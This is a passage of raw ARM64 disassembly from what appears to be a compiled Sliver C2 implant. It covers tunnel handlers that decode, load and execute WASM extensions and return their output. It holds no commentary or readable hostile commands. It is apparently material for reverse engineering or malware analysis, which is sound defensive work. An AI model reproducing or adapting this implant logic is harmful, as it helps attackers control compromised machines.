0040e99cstr x7, [x25]
0040e9a0ldr x6, [x5+8]
0040e9a4str x6, [x25+8]
0040e9a8b 0x40e9ac
0040e9ac
0040e9acloc_40e9ac:
0040e9acstr x7, [x5+8]
0040e9b0ldr x2, [sp+536]
0040e9b4ldrsb x27, [x2]
0040e9b8b 0x40e9bc
0040e9bc
0040e9bcloc_40e9bc:
0040e9bcstr x2, [sp+544]
0040e9c0orr x4, xzr, 1
0040e9c4str x4, [sp+552]
0040e9c8str x4, [sp+560]
0040e9ccadrp x0, 0x2ac000
0040e9d0add x0, x0, 981
0040e9d4movz x1, 26
0040e9d8mov x3, x4
0040e9dcbl log.Printf
0040e9e0ldp x29, x30, [sp-8]
0040e9e4add sp, sp, 816
0040e9e8ret x30
0040e9ec
0040e9ecloc_40e9ec:
0040e9ecstr xzr, [sp+656]
0040e9f0ldr x4, [sp+112]
0040e9f4ldrsb x27, [x4]
0040e9f8ldr x2, [x4+8]
0040e9fcldr x3, [x4+16]
0040ea00str x2, [sp+496]
0040ea04str x3, [sp+504]
0040ea08adrp x27, 0x612000
0040ea0cldr x1, [x27+3456]
0040ea10adrp x0, 0x215000
0040ea14add x0, x0, 3680
0040ea18bl runtime.mapaccess2_faststr
0040ea1cstr x0, [sp+488]
0040ea20strb w1, [sp+71]
0040ea24ldr x4, [sp+488]
0040ea28ldr x4, [x4]
0040ea2cstr x4, [sp+656]
0040ea30str x4, [sp+192]
0040ea34ldrb w4, [sp+71]
0040ea38strb w4, [sp+70]
0040ea3cldr x4, [sp+192]
0040ea40str x4, [sp+120]
0040ea44ldrb w4, [sp+70]
0040ea48strb w4, [sp+69]
0040ea4ctbnz w4, 0, 0x40ea54
0040ea50b 0x40efa8
0040ea54
0040ea54loc_40ea54:
0040ea54str xzr, [sp+632]
0040ea58add x27, sp, 640
0040ea5cstp xzr, xzr, [x27]
0040ea60add x27, sp, 616
0040ea64stp xzr, xzr, [x27]
0040ea68ldr x3, [sp+120]
0040ea6cldrsb x27, [x3]
0040ea70ldr x0, [x3+24]
0040ea74ldr x1, [x3+32]
0040ea78ldr x2, [x3+40]
0040ea7cstr x0, [sp+408]
0040ea80str x1, [sp+416]
0040ea84str x2, [sp+424]
0040ea88bl github.com/bishopfox/sliver/implant/sliver/encoders.GzipEncoder.Decode
0040ea8cstr x0, [sp+632]
0040ea90str x1, [sp+640]
0040ea94str x2, [sp+648]
0040ea98str x3, [sp+616]
0040ea9cstr x4, [sp+624]
0040eaa0ldr x3, [sp+632]
0040eaa4ldr x4, [sp+640]
0040eaa8ldr x5, [sp+648]
0040eaacstr x3, [sp+168]
0040eab0str x4, [sp+176]
0040eab4str x5, [sp+184]
0040eab8ldr x3, [sp+616]
0040eabcldr x4, [sp+624]
0040eac0str x3, [sp+792]
0040eac4str x4, [sp+800]
0040eac8ldr x3, [sp+168]
0040eaccldr x4, [sp+176]
0040ead0ldr x5, [sp+184]
0040ead4str x3, [sp+88]
0040ead8str x4, [sp+96]
0040eadcstr x5, [sp+104]
0040eae0ldr x3, [sp+800]
0040eae4ldr x4, [sp+792]
0040eae8str x4, [sp+128]
0040eaecstr x3, [sp+136]
0040eaf0cbnz x4, 0x40eaf8
0040eaf4b 0x40ebb8
0040eaf8
0040eaf8loc_40eaf8:
0040eaf8add x27, sp, 664
0040eafcstp xzr, xzr, [x27]
0040eb00add x5, sp, 664
0040eb04str x5, [sp+376]
0040eb08ldr x5, [sp+128]
0040eb0cldr x6, [sp+136]
0040eb10str x5, [sp+360]
0040eb14str x6, [sp+368]
0040eb18str x5, [sp+352]
0040eb1cldr x5, [sp+352]
0040eb20cbnz x5, 0x40eb28
0040eb24b 0x40eb38
0040eb28
0040eb28loc_40eb28:
0040eb28ldr x5, [sp+352]
0040eb2cldr x5, [x5+8]
0040eb30str x5, [sp+352]
0040eb34b 0x40eb3c
0040eb38
0040eb38loc_40eb38:
0040eb38b 0x40eb3c
0040eb3c
0040eb3cloc_40eb3c:
0040eb3cldr x5, [sp+376]
0040eb40ldrsb x27, [x5]
0040eb44ldr x6, [sp+352]
0040eb48ldr x7, [sp+368]
0040eb4cstr x6, [x5]
0040eb50adrp x27, 0x63d000
0040eb54ldr w6, [x27+3056]
0040eb58cbz w6, 0x40eb60
0040eb5cb 0x40eb64
0040eb60
0040eb60loc_40eb60:
0040eb60b 0x40eb78
0040eb64
0040eb64loc_40eb64:
0040eb64bl runtime.gcWriteBarrier2
0040eb68str x7, [x25]
0040eb6cldr x6, [x5+8]
0040eb70str x6, [x25+8]
0040eb74b 0x40eb78
0040eb78
0040eb78loc_40eb78:
0040eb78str x7, [x5+8]
0040eb7cldr x2, [sp+376]
0040eb80ldrsb x27, [x2]
0040eb84b 0x40eb88
0040eb88
0040eb88loc_40eb88:
0040eb88str x2, [sp+384]
0040eb8corr x4, xzr, 1
0040eb90str x4, [sp+392]
0040eb94str x4, [sp+400]
0040eb98adrp x0, 0x2b1000
0040eb9cadd x0, x0, 1761
0040eba0movz x1, 33
0040eba4mov x3, x4
0040eba8bl log.Printf
0040ebacldp x29, x30, [sp-8]
0040ebb0add sp, sp, 816
0040ebb4ret x30
0040ebb8
0040ebb8loc_40ebb8:
0040ebb8ldr x1, [sp+96]
0040ebbcstr x1, [sp+72]
0040ebc0add x27, sp, 664
0040ebc4stp xzr, xzr, [x27]
0040ebc8add x1, sp, 664
0040ebccstr x1, [sp+320]
0040ebd0ldr x0, [sp+72]
0040ebd4bl runtime.convT64
0040ebd8str x0, [sp+312]
0040ebdcldr x1, [sp+320]
0040ebe0ldrsb x27, [x1]
0040ebe4adrp x2, 0x1e7000
0040ebe8add x2, x2, 3520
0040ebecstr x2, [x1]
0040ebf0adrp x27, 0x63d000
0040ebf4ldr w2, [x27+3056]
0040ebf8cbz w2, 0x40ec00
0040ebfcb 0x40ec04
0040ec00
0040ec00loc_40ec00:
0040ec00b 0x40ec18
0040ec04
0040ec04loc_40ec04:
0040ec04bl runtime.gcWriteBarrier2
0040ec08str x0, [x25]
0040ec0cldr x5, [x1+8]
0040ec10str x5, [x25+8]
0040ec14b 0x40ec18
0040ec18
0040ec18loc_40ec18:
0040ec18str x0, [x1+8]
0040ec1cldr x2, [sp+320]
0040ec20ldrsb x27, [x2]
0040ec24b 0x40ec28
0040ec28
0040ec28loc_40ec28:
0040ec28str x2, [sp+328]
0040ec2corr x4, xzr, 1
0040ec30str x4, [sp+336]
0040ec34str x4, [sp+344]
0040ec38adrp x0, 0x2ac000
0040ec3cadd x0, x0, 1449
0040ec40movz x1, 26
0040ec44mov x3, x4
0040ec48bl log.Printf
0040ec4cstr xzr, [sp+608]
0040ec50add x27, sp, 616
0040ec54stp xzr, xzr, [x27]
0040ec58ldr x5, [sp+120]
0040ec5cldrsb x27, [x5]
0040ec60ldr x6, [x5+8]
0040ec64ldr x5, [x5+16]
0040ec68str x6, [sp+296]
0040ec6cstr x5, [sp+304]
0040ec70ldr x5, [sp+112]
0040ec74ldrsb x27, [x5]
0040ec78ldr x5, [x5+56]
0040ec7cstr x5, [sp+288]
0040ec80ldr x2, [sp+88]
0040ec84ldr x3, [sp+96]
0040ec88ldr x4, [sp+104]
0040ec8cldr x0, [sp+296]
0040ec90ldr x1, [sp+304]
0040ec94bl github.com/bishopfox/sliver/implant/sliver/extension.NewWasmExtension
0040ec98str x0, [sp+608]
0040ec9cstr x1, [sp+616]
0040eca0str x2, [sp+624]
0040eca4ldr x5, [sp+608]
0040eca8str x5, [sp+784]
0040ecacldr x5, [sp+616]
0040ecb0ldr x6, [sp+624]
0040ecb4str x5, [sp+768]
0040ecb8str x6, [sp+776]
0040ecbcldr x5, [sp+784]
0040ecc0str x5, [sp+80]
0040ecc4ldr x5, [sp+776]
0040ecc8ldr x6, [sp+768]
0040ecccstr x6, [sp+128]
0040ecd0str x5, [sp+136]
0040ecd4cbnz x6, 0x40ecdc
0040ecd8b 0x40ed9c
0040ecdc
0040ecdcloc_40ecdc:
0040ecdcadd x27, sp, 664
0040ece0stp xzr, xzr, [x27]
0040ece4add x5, sp, 664
0040ece8str x5, [sp+256]
0040ececldr x5, [sp+128]
0040ecf0ldr x6, [sp+136]
0040ecf4str x5, [sp+240]
0040ecf8str x6, [sp+248]
0040ecfcstr x5, [sp+232]
0040ed00ldr x5, [sp+232]
0040ed04cbnz x5, 0x40ed0c
0040ed08b 0x40ed1c
0040ed0c
0040ed0cloc_40ed0c:
0040ed0cldr x5, [sp+232]
0040ed10ldr x5, [x5+8]
0040ed14str x5, [sp+232]
0040ed18b 0x40ed20
0040ed1c
0040ed1cloc_40ed1c:
0040ed1cb 0x40ed20
0040ed20
0040ed20loc_40ed20:
0040ed20ldr x5, [sp+256]
0040ed24ldrsb x27, [x5]
0040ed28ldr x6, [sp+232]
0040ed2cldr x7, [sp+248]
0040ed30str x6, [x5]
0040ed34adrp x27, 0x63d000
0040ed38ldr w6, [x27+3056]
0040ed3ccbz w6, 0x40ed44
0040ed40b 0x40ed48
0040ed44
0040ed44loc_40ed44:
0040ed44b 0x40ed5c
0040ed48
0040ed48loc_40ed48:
0040ed48bl runtime.gcWriteBarrier2
0040ed4cstr x7, [x25]
0040ed50ldr x6, [x5+8]
0040ed54str x6, [x25+8]
0040ed58b 0x40ed5c
0040ed5c
0040ed5cloc_40ed5c:
0040ed5cstr x7, [x5+8]
0040ed60ldr x2, [sp+256]
0040ed64ldrsb x27, [x2]
0040ed68b 0x40ed6c
0040ed6c
0040ed6cloc_40ed6c:
0040ed6cstr x2, [sp+264]
0040ed70orr x4, xzr, 1
0040ed74str x4, [sp+272]
0040ed78str x4, [sp+280]
0040ed7cadrp x0, 0x2b1000
0040ed80add x0, x0, 1794
0040ed84movz x1, 33
0040ed88mov x3, x4
0040ed8cbl log.Printf
0040ed90ldp x29, x30, [sp-8]
0040ed94add sp, sp, 816
0040ed98ret x30
0040ed9c
0040ed9cloc_40ed9c:
0040ed9cstr xzr, [sp+144]
0040eda0stp xzr, xzr, [sp+152]
0040eda4ldr x3, [sp+112]
0040eda8ldrsb x27, [x3]
0040edacldrb w3, [x3+48]
0040edb0tbnz w3, 0, 0x40edb8
0040edb4b 0x40ee34
0040edb8
0040edb8loc_40edb8:
0040edb8str xzr, [sp+632]
0040edbcadd x27, sp, 640
0040edc0stp xzr, xzr, [x27]
0040edc4add x27, sp, 616
0040edc8stp xzr, xzr, [x27]
0040edccldr x1, [sp+832]
0040edd0ldr x2, [sp+80]
0040edd4ldr x0, [sp+112]
0040edd8bl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive
0040eddcstr x0, [sp+632]
0040ede0str x1, [sp+640]
0040ede4str x2, [sp+648]
0040ede8str x3, [sp+616]
0040edecstr x4, [sp+624]
0040edf0ldr x3, [sp+632]
0040edf4ldr x4, [sp+640]
0040edf8ldr x5, [sp+648]
0040edfcstr x3, [sp+744]
0040ee00str x4, [sp+752]
0040ee04str x5, [sp+760]
0040ee08ldr x3, [sp+616]
0040ee0cldr x4, [sp+624]
0040ee10str x3, [sp+728]
0040ee14str x4, [sp+736]
0040ee18ldr x3, [sp+744]
0040ee1cldr x4, [sp+752]
0040ee20ldr x5, [sp+760]
0040ee24str x3, [sp+144]
0040ee28str x4, [sp+152]
0040ee2cstr x5, [sp+160]
0040ee30b 0x40eeac
0040ee34
0040ee34loc_40ee34:
0040ee34str xzr, [sp+632]
0040ee38add x27, sp, 640
0040ee3cstp xzr, xzr, [x27]
0040ee40add x27, sp, 616
0040ee44stp xzr, xzr, [x27]
0040ee48ldr x1, [sp+80]
0040ee4cldr x0, [sp+112]
0040ee50bl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive
0040ee54str x0, [sp+632]
0040ee58str x1, [sp+640]
0040ee5cstr x2, [sp+648]
0040ee60str x3, [sp+616]
0040ee64str x4, [sp+624]
0040ee68ldr x2, [sp+632]
0040ee6cldr x3, [sp+640]
0040ee70ldr x4, [sp+648]
0040ee74str x2, [sp+704]
0040ee78str x3, [sp+712]
0040ee7cstr x4, [sp+720]
0040ee80ldr x2, [sp+616]
0040ee84ldr x3, [sp+624]
0040ee88str x2, [sp+688]
0040ee8cstr x3, [sp+696]
0040ee90ldr x2, [sp+704]
0040ee94ldr x3, [sp+712]
0040ee98ldr x4, [sp+720]
0040ee9cstr x2, [sp+144]
0040eea0str x3, [sp+152]
0040eea4str x4, [sp+160]
0040eea8b 0x40eeac
0040eeac
0040eeacloc_40eeac:
0040eeacadrp x0, 0x276000
0040eeb0add x0, x0, 2848
0040eeb4bl runtime.newobject
0040eeb8str x0, [sp+224]
0040eebcadrp x27, 0x63d000
0040eec0ldr w1, [x27+3056]
0040eec4cbz w1, 0x40eecc
0040eec8b 0x40eed0
0040eecc
0040eeccloc_40eecc:
0040eeccb 0x40eeec
0040eed0
0040eed0loc_40eed0:
0040eed0str x0, [sp+200]
0040eed4mov x1, x0
0040eed8adrp x0, 0x276000
0040eedcadd x0, x0, 2848
0040eee0bl runtime.wbZero
0040eee4ldr x0, [sp+200]
0040eee8b 0x40eeec
0040eeec
0040eeecloc_40eeec:
0040eeecmov x20, x0
0040eef0adr x27, 16
0040eef4stp x29, x27, [sp-24]
0040eef8sub x29, sp, 24
0040eefcbl fn_87cfc
0040ef00sub x29, sp, 8
0040ef04str xzr, [x0+80]
0040ef08ldr x2, [sp+224]
0040ef0cldrsb x27, [x2]
0040ef10ldr x3, [sp+824]
0040ef14ldrsb x27, [x3]
0040ef18ldr x3, [x3+8]
0040ef1cstr x3, [x2+8]
0040ef20ldr x2, [sp+224]
0040ef24ldrsb x27, [x2]
0040ef28orr x3, xzr, 126
0040ef2cstr w3, [x2+16]
0040ef30ldr x2, [sp+224]
0040ef34ldrsb x27, [x2]
0040ef38ldr x3, [sp+144]
0040ef3cldr x4, [sp+152]
0040ef40ldr x5, [sp+160]
0040ef44str x4, [x2+32]
0040ef48str x5, [x2+40]
0040ef4cadrp x27, 0x63d000
0040ef50ldr w4, [x27+3056]
0040ef54cbz w4, 0x40ef5c
0040ef58b 0x40ef60
0040ef5c
0040ef5cloc_40ef5c:
0040ef5cb 0x40ef74
0040ef60
0040ef60loc_40ef60:
0040ef60bl runtime.gcWriteBarrier2
0040ef64str x3, [x25]
0040ef68ldr x4, [x2+24]
0040ef6cstr x4, [x25+8]
0040ef70b 0x40ef74
0040ef74
0040ef74loc_40ef74:
0040ef74str x3, [x2+24]
0040ef78ldr x2, [sp+224]
0040ef7cstr x2, [sp+600]
0040ef80ldr x2, [sp+832]
0040ef84ldrsb x27, [x2]
0040ef88ldr x2, [x2]
0040ef8cstr x2, [sp+216]
0040ef90ldr x0, [sp+216]
0040ef94add x1, sp, 600
0040ef98bl runtime.chansend1
0040ef9cldp x29, x30, [sp-8]
0040efa0add sp, sp, 816
0040efa4ret x30
0040efa8
0040efa8loc_40efa8:
0040efa8add x27, sp, 664
0040efacstp xzr, xzr, [x27]
0040efb0add x2, sp, 664
0040efb4str x2, [sp+456]
0040efb8ldr x2, [sp+112]
0040efbcldrsb x27, [x2]
0040efc0ldr x0, [x2+8]
0040efc4ldr x1, [x2+16]
0040efc8str x0, [sp+440]
0040efccstr x1, [sp+448]
0040efd0bl runtime.convTstring
0040efd4str x0, [sp+432]
0040efd8ldr x2, [sp+456]
0040efdcldrsb x27, [x2]
0040efe0adrp x3, 0x1e7000
0040efe4add x3, x3, 2944
0040efe8str x3, [x2]
0040efecadrp x27, 0x63d000
0040eff0ldr w3, [x27+3056]
0040eff4cbz w3, 0x40effc
0040eff8b 0x40f000
0040effc
0040effcloc_40effc:
0040effcb 0x40f014
0040f000
0040f000loc_40f000:
0040f000bl runtime.gcWriteBarrier2
0040f004str x0, [x25]
0040f008ldr x5, [x2+8]
0040f00cstr x5, [x25+8]
0040f010b 0x40f014
0040f014
0040f014loc_40f014:
0040f014str x0, [x2+8]
0040f018ldr x2, [sp+456]
0040f01cldrsb x27, [x2]
0040f020b 0x40f024
0040f024
0040f024loc_40f024:
0040f024str x2, [sp+464]
0040f028orr x4, xzr, 1
0040f02cstr x4, [sp+472]
0040f030str x4, [sp+480]
0040f034adrp x0, 0x2ad000
0040f038add x0, x0, 2135
0040f03cmovz x1, 29
0040f040mov x3, x4
0040f044bl log.Printf
0040f048ldp x29, x30, [sp-8]
0040f04cadd sp, sp, 816
0040f050ret x30
0040f054
0040f054loc_40f054:
0040f054stp x0, x1, [sp+8]
0040f058mov x3, x30
0040f05cbl runtime.morestack_noctxt.abi0
0040f060ldp x0, x1, [sp+8]
0040f064b 0x40e860
0040f068udf 0
0040f06cudf 0
0040e860
0040f070
0040f070github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive(github.com/bishopfox/sliver/protobuf/sliverpb.ExecWasmExtensionReq * req, github.com/bishopfox/sliver/implant/sliver/extension.WasmExtension * wasm)
0040f070ldr x16, [x28+16]
0040f074sub x17, sp, 352
0040f078subs xzr, x17, x16
0040f07cb.ls 0x40f680
0040f080sub x20, sp, 480
0040f084stp x29, x30, [x20-8]
0040f088add sp, x20, 0
0040f08csub x29, sp, 8
0040f090str x0, [sp+488]
0040f094str x1, [sp+496]
0040f098stp xzr, xzr, [sp+80]
0040f09cstr xzr, [sp+96]
0040f0a0stp xzr, xzr, [sp+64]
0040f0a4adrp x0, 0x2b5000
0040f0a8add x0, x0, 1019
0040f0acmovz x1, 40
0040f0b0mov x2, xzr
0040f0b4mov x3, xzr
0040f0b8mov x4, x3
0040f0bcbl log.Printf
0040f0c0adrp x0, 0x243000
0040f0c4add x0, x0, 2048
0040f0c8bl runtime.newobject
0040f0ccstr x0, [sp+312]
0040f0d0adrp x27, 0x63c000
0040f0d4ldr w5, [x27+3056]
0040f0d8cbz w5, 0x40f0e0
0040f0dcb 0x40f0e4
0040f0e0
0040f0e0loc_40f0e0:
0040f0e0b 0x40f100
0040f0e4
0040f0e4loc_40f0e4:
0040f0e4str x0, [sp+184]
0040f0e8mov x1, x0
0040f0ecadrp x0, 0x243000
0040f0f0add x0, x0, 2048
0040f0f4bl runtime.wbZero
0040f0f8ldr x0, [sp+184]
0040f0fcb 0x40f100
0040f100
0040f100loc_40f100:
0040f100stp xzr, xzr, [x0]
0040f104stp xzr, xzr, [x0+16]
0040f108str xzr, [x0+32]
0040f10cldr x1, [sp+312]
0040f110str x1, [sp+104]
0040f114adrp x0, 0x23c000
0040f118add x0, x0, 3616
0040f11cbl runtime.newobject
0040f120str x0, [sp+304]
0040f124adrp x1, 0
0040f128add x1, x1, 2272
0040f12cstr x1, [x0]
0040f130ldr x1, [sp+496]
0040f134ldr x2, [sp+304]
0040f138ldrsb x27, [x2]
0040f13cadrp x27, 0x63c000
0040f140ldr w3, [x27+3056]
0040f144cbz w3, 0x40f14c
0040f148b 0x40f150
0040f14c
0040f14cloc_40f14c:
0040f14cb 0x40f164
0040f150
0040f150loc_40f150:
0040f150bl runtime.gcWriteBarrier2
0040f154str x1, [x25]
0040f158ldr x3, [x2+8]
0040f15cstr x3, [x25+8]
0040f160b 0x40f164
0040f164
0040f164loc_40f164:
0040f164str x1, [x2+8]
0040f168ldr x1, [sp+104]
0040f16cldr x2, [sp+304]
0040f170ldrsb x27, [x2]
0040f174adrp x27, 0x63c000
0040f178ldr w3, [x27+3056]
0040f17ccbz w3, 0x40f184
0040f180b 0x40f188
0040f184
0040f184loc_40f184:
0040f184b 0x40f19c
0040f188
0040f188loc_40f188:
0040f188bl runtime.gcWriteBarrier2
0040f18cstr x1, [x25]
0040f190ldr x3, [x2+16]
0040f194str x3, [x25+8]
0040f198b 0x40f19c
0040f19c
0040f19cloc_40f19c:
0040f19cstr x1, [x2+16]
0040f1a0ldr x0, [sp+304]
0040f1a4bl runtime.newproc
0040f1a8adrp x0, 0x243000
0040f1acadd x0, x0, 2048
0040f1b0bl runtime.newobject
0040f1b4str x0, [sp+296]
0040f1b8adrp x27, 0x63c000
0040f1bcldr w1, [x27+3056]
0040f1c0cbz w1, 0x40f1c8
0040f1c4b 0x40f1cc
0040f1c8
0040f1c8loc_40f1c8:
0040f1c8b 0x40f1e8
0040f1cc
0040f1ccloc_40f1cc:
0040f1ccstr x0, [sp+184]
0040f1d0mov x1, x0
0040f1d4adrp x0, 0x243000
0040f1d8add x0, x0, 2048
0040f1dcbl runtime.wbZero
0040f1e0ldr x0, [sp+184]
0040f1e4b 0x40f1e8
0040f1e8
0040f1e8loc_40f1e8:
0040f1e8stp xzr, xzr, [x0]
0040f1ecstp xzr, xzr, [x0+16]
0040f1f0str xzr, [x0+32]
0040f1f4ldr x1, [sp+296]
0040f1f8str x1, [sp+112]
0040f1fcadrp x0, 0x23c000
0040f200add x0, x0, 3616
0040f204bl runtime.newobject
0040f208str x0, [sp+288]
0040f20cadrp x1, 0
0040f210add x1, x1, 1696
0040f214str x1, [x0]
0040f218ldr x1, [sp+496]
0040f21cldr x2, [sp+288]
0040f220ldrsb x27, [x2]
0040f224adrp x27, 0x63c000
0040f228ldr w3, [x27+3056]
0040f22ccbz w3, 0x40f234
0040f230b 0x40f238
0040f234
0040f234loc_40f234:
0040f234b 0x40f24c
0040f238
0040f238loc_40f238:
0040f238bl runtime.gcWriteBarrier2
0040f23cstr x1, [x25]
0040f240ldr x3, [x2+8]
0040f244str x3, [x25+8]
0040f248b 0x40f24c
0040f24c
0040f24cloc_40f24c:
0040f24cstr x1, [x2+8]
0040f250ldr x1, [sp+112]
0040f254ldr x2, [sp+288]
0040f258ldrsb x27, [x2]
0040f25cadrp x27, 0x63c000
0040f260ldr w3, [x27+3056]
0040f264cbz w3, 0x40f26c
0040f268b 0x40f270
0040f26c
0040f26cloc_40f26c:
0040f26cb 0x40f284
0040f270
0040f270loc_40f270:
0040f270bl runtime.gcWriteBarrier2
0040f274str x1, [x25]
0040f278ldr x3, [x2+16]
0040f27cstr x3, [x25+8]
0040f280b 0x40f284
0040f284
0040f284loc_40f284:
0040f284str x1, [x2+16]
0040f288ldr x0, [sp+288]
0040f28cbl runtime.newproc
0040f290stp xzr, xzr, [sp+416]
0040f294ldr x1, [sp+488]
0040f298ldrsb x27, [x1]
0040f29cldr x2, [x1+24]
0040f2a0ldr x3, [x1+32]
0040f2a4ldr x1, [x1+40]
0040f2a8str x2, [sp+264]
0040f2acstr x3, [sp+272]
0040f2b0str x1, [sp+280]
0040f2b4ldr x0, [sp+496]
0040f2b8mov x4, x1
0040f2bcmov x1, x2
0040f2c0mov x2, x3
0040f2c4mov x3, x4
0040f2c8bl github.com/bishopfox/sliver/implant/sliver/extension.(*WasmExtension).Execute
0040f2ccstr w0, [sp+60]
0040f2d0str x1, [sp+416]
0040f2d4str x2, [sp+424]
0040f2d8ldr w1, [sp+60]
0040f2dcstr w1, [sp+56]
0040f2e0ldr x1, [sp+416]
0040f2e4ldr x2, [sp+424]
0040f2e8str x1, [sp+152]
0040f2ecstr x2, [sp+160]
0040f2f0ldr w1, [sp+56]
0040f2f4str w1, [sp+52]
0040f2f8ldr x1, [sp+152]
0040f2fcldr x2, [sp+160]
0040f300str x1, [sp+136]
0040f304str x2, [sp+144]
0040f308stp xzr, xzr, [sp+120]
0040f30cldr x1, [sp+136]
0040f310cbnz x1, 0x40f318
0040f314b 0x40f3e8
0040f318
0040f318loc_40f318:
0040f318stp xzr, xzr, [sp+400]
0040f31cadd x5, sp, 400
0040f320str x5, [sp+232]
0040f324ldr x5, [sp+136]
0040f328ldr x6, [sp+144]
0040f32cstr x5, [sp+216]
0040f330str x6, [sp+224]
0040f334str x5, [sp+208]
0040f338ldr x5, [sp+208]
0040f33ccbnz x5, 0x40f344
0040f340b 0x40f354
0040f344
0040f344loc_40f344:
0040f344ldr x5, [sp+208]
0040f348ldr x5, [x5+8]
0040f34cstr x5, [sp+208]
0040f350b 0x40f358
0040f354
0040f354loc_40f354:
0040f354b 0x40f358
0040f358
0040f358loc_40f358:
0040f358ldr x5, [sp+232]
0040f35cldrsb x27, [x5]
0040f360ldr x6, [sp+208]
0040f364ldr x7, [sp+224]
0040f368str x6, [x5]
0040f36cadrp x27, 0x63c000
0040f370ldr w6, [x27+3056]
0040f374cbz w6, 0x40f37c
0040f378b 0x40f380
0040f37c
0040f37cloc_40f37c:
0040f37cb 0x40f394
0040f380
0040f380loc_40f380:
0040f380bl runtime.gcWriteBarrier2
0040f384str x7, [x25]
0040f388ldr x6, [x5+8]
0040f38cstr x6, [x25+8]
0040f390b 0x40f394
0040f394
0040f394loc_40f394:
0040f394str x7, [x5+8]
0040f398ldr x2, [sp+232]
0040f39cldrsb x27, [x2]
0040f3a0b 0x40f3a4
0040f3a4
0040f3a4loc_40f3a4:
0040f3a4str x2, [sp+240]
0040f3a8orr x4, xzr, 1
0040f3acstr x4, [sp+248]
0040f3b0str x4, [sp+256]
0040f3b4adrp x0, 0x2b1000
0040f3b8add x0, x0, 369
0040f3bcmovz x1, 34
0040f3c0mov x3, x4
0040f3c4bl log.Printf
0040f3c8ldr x5, [sp+136]
0040f3ccldrsb x27, [x5]
0040f3d0ldr x5, [x5+24]
0040f3d4ldr x0, [sp+144]
0040f3d8blr x5
0040f3dcstr x0, [sp+120]
0040f3e0str x1, [sp+128]
0040f3e4b 0x40f3ec
0040f3e8
0040f3e8loc_40f3e8:
0040f3e8b 0x40f3ec
0040f3ec
0040f3ecloc_40f3ec:
0040f3ecldr x0, [sp+104]
0040f3f0bl bytes.(*Buffer).Bytes
0040f3f4str x0, [sp+376]
0040f3f8str x1, [sp+384]
0040f3fcstr x2, [sp+392]
0040f400ldr x0, [sp+112]
0040f404bl bytes.(*Buffer).Bytes
0040f408str x0, [sp+352]
0040f40cstr x1, [sp+360]
0040f410str x2, [sp+368]
0040f414adrp x0, 0x276000
0040f418add x0, x0, 480
0040f41cbl runtime.newobject
0040f420str x0, [sp+200]
0040f424adrp x27, 0x63c000
0040f428ldr w1, [x27+3056]
0040f42ccbz w1, 0x40f434
0040f430b 0x40f438
0040f434
0040f434loc_40f434:
0040f434b 0x40f454
0040f438
0040f438loc_40f438:
0040f438str x0, [sp+176]
0040f43cmov x1, x0
0040f440adrp x0, 0x276000
0040f444add x0, x0, 480
0040f448bl runtime.wbZero
0040f44cldr x0, [sp+176]
0040f450b 0x40f454
0040f454
0040f454loc_40f454:
0040f454mov x20, x0
0040f458adr x27, 16
0040f45cstp x29, x27, [sp-24]
0040f460sub x29, sp, 24
0040f464bl fn_87cf8
0040f468sub x29, sp, 8
0040f46cstr xzr, [x0+96]
0040f470ldr x1, [sp+200]
0040f474ldrsb x27, [x1]
0040f478ldr x2, [sp+376]
0040f47cldr x3, [sp+384]
0040f480ldr x4, [sp+392]
0040f484str x3, [x1+16]
0040f488str x4, [x1+24]
0040f48cadrp x27, 0x63c000
0040f490ldr w3, [x27+3056]
0040f494cbz w3, 0x40f49c
0040f498b 0x40f4a0
0040f49c
0040f49cloc_40f49c:
0040f49cb 0x40f4b4
0040f4a0
0040f4a0loc_40f4a0:
0040f4a0bl runtime.gcWriteBarrier2
0040f4a4str x2, [x25]
0040f4a8ldr x3, [x1+8]
0040f4acstr x3, [x25+8]
0040f4b0b 0x40f4b4
0040f4b4
0040f4b4loc_40f4b4:
0040f4b4str x2, [x1+8]
0040f4b8ldr x1, [sp+200]
0040f4bcldrsb x27, [x1]
0040f4c0ldr x2, [sp+352]
0040f4c4ldr x3, [sp+360]
0040f4c8ldr x4, [sp+368]
0040f4ccstr x3, [x1+40]
0040f4d0str x4, [x1+48]
0040f4d4adrp x27, 0x63c000
0040f4d8ldr w3, [x27+3056]
0040f4dccbz w3, 0x40f4e4
0040f4e0b 0x40f4e8
0040f4e4
0040f4e4loc_40f4e4:
0040f4e4b 0x40f4fc
0040f4e8
0040f4e8loc_40f4e8:
0040f4e8bl runtime.gcWriteBarrier2
0040f4ecstr x2, [x25]
0040f4f0ldr x3, [x1+32]
0040f4f4str x3, [x25+8]
0040f4f8b 0x40f4fc
0040f4fc
0040f4fcloc_40f4fc:
0040f4fcstr x2, [x1+32]
0040f500ldr x1, [sp+200]
0040f504ldrsb x27, [x1]
0040f508ldr w2, [sp+52]
0040f50cstr w2, [x1+56]
0040f510adrp x0, 0x276000
0040f514add x0, x0, 3648
0040f518bl runtime.newobject
0040f51cstr x0, [sp+192]
0040f520adrp x27, 0x63c000
0040f524ldr w1, [x27+3056]
0040f528cbz w1, 0x40f530
0040f52cb 0x40f534
0040f530
0040f530loc_40f530:
0040f530b 0x40f550
0040f534
0040f534loc_40f534:
0040f534str x0, [sp+168]
0040f538mov x1, x0
0040f53cadrp x0, 0x276000
0040f540add x0, x0, 3648
0040f544bl runtime.wbZero
0040f548ldr x0, [sp+168]
0040f54cb 0x40f550
0040f550
0040f550loc_40f550:
0040f550mov x20, x0
0040f554adr x27, 16
0040f558stp x29, x27, [sp-24]
0040f55csub x29, sp, 24
0040f560bl fn_87cf8
0040f564sub x29, sp, 8
0040f568ldr x2, [sp+192]
0040f56cldrsb x27, [x2]
0040f570ldr x3, [sp+120]
0040f574ldr x4, [sp+128]
0040f578str x4, [x2+16]
0040f57cadrp x27, 0x63c000
0040f580ldr w4, [x27+3056]
0040f584cbz w4, 0x40f58c
0040f588b 0x40f590
0040f58c
0040f58cloc_40f58c:
0040f58cb 0x40f5a4
0040f590
0040f590loc_40f590:
0040f590bl runtime.gcWriteBarrier2
0040f594str x3, [x25]
0040f598ldr x4, [x2+8]
0040f59cstr x4, [x25+8]
0040f5a0b 0x40f5a4
0040f5a4
0040f5a4loc_40f5a4:
0040f5a4str x3, [x2+8]
0040f5a8ldr x2, [sp+200]
0040f5acldrsb x27, [x2]
0040f5b0ldr x3, [sp+192]
0040f5b4adrp x27, 0x63c000
